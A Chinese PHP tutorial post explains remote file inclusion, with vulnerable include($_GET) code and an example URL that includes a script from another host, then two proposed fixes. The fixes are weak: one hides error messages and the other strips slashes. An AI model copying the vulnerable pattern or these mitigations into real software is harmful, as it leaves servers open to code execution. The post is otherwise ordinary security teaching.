PHP 网络开发详解之远程文件包含漏洞


Posted in PHP onApril 25, 2010

以下代码(Code)实现了根据浏览器地址栏参数的文件名称包含不同文件的功能。

<?php 
$file_name = $_GET["filename"]; //获得当前文件名 
include("$file_name "); //包含文件 
//一些其他操作 
?>

这时,通过在地址栏上指定不同的文件名就可以实现包含不同文件并执行的功能。例如,通过在浏览器上访问http://localhost/test.php?filename=myinc.php就可以在代码(Code)中包含并执行myinc.php文件。
由于上面的代码(Code)没有进行任何错误处理,在浏览器上不加参数运行,所以将得到以下运行结果。
Warning: include(.php) [function.include]: failed to open stream: No such file or directory in C:\Program Files\xampp\htdocs\Bugs\test6.php on line 3
Warning: include() [function.include]: Failed opening '.php' for inclusion (include_path='.;C:\Program Files\xampp\php\pear\') in C:\Program Files\xampp\htdocs\Bugs\test6.php on line 3
访问者通过读取这段错误信息,可以得知当前的操作是一个文件包含操作。这时,可以在自己的服务器上放置一个相应的脚本代码。需要注意的是PHP在获取远程文件时获得的是远程服务器的最终输出结果,而不是文件本身。该脚本代码位于192.168.0.1服务器上,文件名为hello.txt,脚本代码(Code)如下所示。
<?php 
echo "hello world!"; 
?>

这时,通过在浏览器中访问http://localhost/test.php?filename=http://192.168.0.1/hello.txt就可以运行hello.txt中的脚本了。
为了解决这个问题,一种方式是完善代码的错误信息,使访问者无法知道当前脚本正在包含参数中指定的文件。修改后的代码(Code)如下所示。
<?php 
$file_name = $_GET["filename"]; //获得当前文件名 
if(!@include("$file_name.php")) //包含文件 
{ 
die("页面在浏览过程中出现错误"); 
} 
//一些其他操作 
?>

修改后,如果在被包含的文件无法找到时将出现“页面在浏览过程中出现错误”的错误信息,访问者将无法获得当前页面的具体操作信息。
第二种方式可以更加有效地防止远程文件包含攻击。方式是替换地址栏参数中的斜线“/”。这样,在地址栏参数中输入远程文件地址时,代码将无法正确地获得参数。修改后的代码(Code)如下所示。
<?php 
$file_name = str_replace('/', '', $_GET["filename"]); //获得当前文件名 
if(!@include("$file_name.php")) //包含文件 
{ 
die("页面在浏览过程中出现错误"); 
} 
//一些其他操作 
?>

这样,在浏览器中访问http://localhost/test.php?filename=http://192.168.0.1/hello.txt 时,实际上PHP代码(Code)获得的包含文件名称是http:192.168.0.1bugstest6_test。页面将不会包含远程文件,并显示相应的错误信息。
PHP 相关文章推荐
PHP获取MAC地址的函数代码
Sep 11 PHP
php数组函数序列之array_pop() - 删除数组中的最后一个元素
Nov 07 PHP
PHP中替换换行符的几种方法小结
Oct 15 PHP
php根据日期显示所在星座的方法
Jul 13 PHP
PHP调用存储过程返回值不一致问题的解决方法分析
Apr 26 PHP
Yii2中DropDownList简单用法示例
Jul 18 PHP
php微信支付接口开发程序
Aug 02 PHP
php自定义函数转换html标签示例
Sep 29 PHP
PHP遍历目录文件的常用方法小结
Feb 03 PHP
PHP编程快速实现数组去重的方法详解
Jul 22 PHP
Yii框架安装简明教程
May 15 PHP
PHP时间类完整代码实例
Feb 26 PHP
php快速url重写更新版[需php 5.30以上]
Apr 25 #PHP
PHP CURL模拟GET及POST函数代码
Apr 25 #PHP
php file_get_contents函数轻松采集html数据
Apr 22 #PHP
国外比较好的几个的Php开源建站平台小结
Apr 22 #PHP
PHP最常用的ini函数分析 针对PHP.ini配置文件
Apr 22 #PHP
php allow_url_include的应用和解释
Apr 22 #PHP
php strcmp使用说明
Apr 22 #PHP
You might like
两个强悍的php 图像处理类1
2009/06/15 PHP
php静态文件生成类实例分析
2015/01/03 PHP
php实现用已经过去多长时间的方式显示时间
2015/06/05 PHP
php使用CURL不依赖COOKIEJAR获取COOKIE的方法
2015/06/17 PHP
PHP实现在线阅读PDF文件的方法
2015/06/23 PHP
解决PHP程序运行时:Fatal error: Maximum execution time of 30 seconds exceeded in的错误提示
2016/11/25 PHP
ThinkPHP 整合Bootstrap Ajax分页样式
2016/12/23 PHP
PHP使用DOM和simplexml读取xml文档的方法示例
2017/02/08 PHP
javascript工具库代码
2012/03/29 Javascript
select标记美化--JS式插件、后期加载
2013/04/01 Javascript
删除Javascript Object中间的key
2014/11/18 Javascript
Jquery Easyui菜单组件Menu使用详解(15)
2016/12/18 Javascript
js定时器实例分享
2016/12/20 Javascript
JS弹窗 JS弹出DIV并使整个页面背景变暗功能的实现代码
2018/04/21 Javascript
JS实现动态添加外部js、css到head标签的方法
2019/06/05 Javascript
[06:23]2014DOTA2西雅图国际邀请赛 小组赛7月12日TOPPLAY
2014/07/12 DOTA
Python中实现单例模式的n种方式和原理
2018/11/14 Python
python 画三维图像 曲面图和散点图的示例
2018/12/29 Python
Python 保持登录状态进行接口测试的方法示例
2019/08/06 Python
Django更新models数据库结构步骤
2020/04/01 Python
pycharm软件实现设置自动保存操作
2020/06/08 Python
Python 如何查找特定类型文件
2020/08/17 Python
澳大利亚免息网上购物:Shop Zero
2016/09/17 全球购物
法国发饰品牌:Alexandre De Paris
2018/12/04 全球购物
WEB控件及HTML服务端控件能否调用客户端方法?如果能,请解释如何调用?
2015/08/25 面试题
几个常见的消息中间件(MOM)
2014/01/08 面试题
Java基础面试题
2014/07/19 面试题
实习单位鉴定评语
2014/04/26 职场文书
2014年学校禁毒工作总结
2014/12/23 职场文书
语文教师求职信范文
2015/03/20 职场文书
2015年社区纪检工作总结
2015/04/21 职场文书
新年晚会主持词开场白
2015/05/28 职场文书
小学家长意见怎么写
2015/06/03 职场文书
董事长新年致辞
2015/07/29 职场文书
如何使用Maxwell实时同步mysql数据
2021/04/08 MySQL
Win11远程连接不上怎么办?Win11远程桌面用不了的解决方法
2022/08/05 数码科技